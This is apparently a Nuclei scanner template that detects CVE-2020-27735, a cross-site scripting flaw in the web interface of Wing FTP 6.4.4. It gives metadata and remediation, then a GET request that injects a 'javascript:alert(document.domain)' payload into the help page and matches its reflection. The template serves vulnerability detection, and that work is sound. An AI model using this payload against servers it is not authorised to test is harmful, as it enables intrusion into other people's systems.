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id : CVE-2020-27735
info :
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name : Wing FTP 6.4.4 - Cross-Site Scripting
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author : pikpikcu
severity : medium
description : |
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Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
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remediation : |
Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability.
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reference :
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- https://www.wftpserver.com/serverhistory.htm
- https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-27735
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2020-27735
cwe-id : CWE-79
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epss-score : 0.00216
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epss-percentile : 0.59519
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cpe : cpe:2.3:a:wftpserver:wing_ftp_server:6.4.4:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : wftpserver
product : wing_ftp_server
tags : cve,cve2020,xss,wing-ftp
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http :
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- method : GET
path :
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- "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '<frame name="hmcontent" src="javascript:alert(document.domain)" title="Content frame">'
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- type : word
part : header
words :
- text/html
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- type : status
status :
- 200
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# digest: 4b0a00483046022100d9a99ba1cff935a702221f7a92edb03161ffa052ec79822d0f86649a3ba8ef03022100d794a115068d0794c6ea64a59f41be8b973a130c94a92407811cd51281f852dd:922c64590222798bb761d5b6d8e72950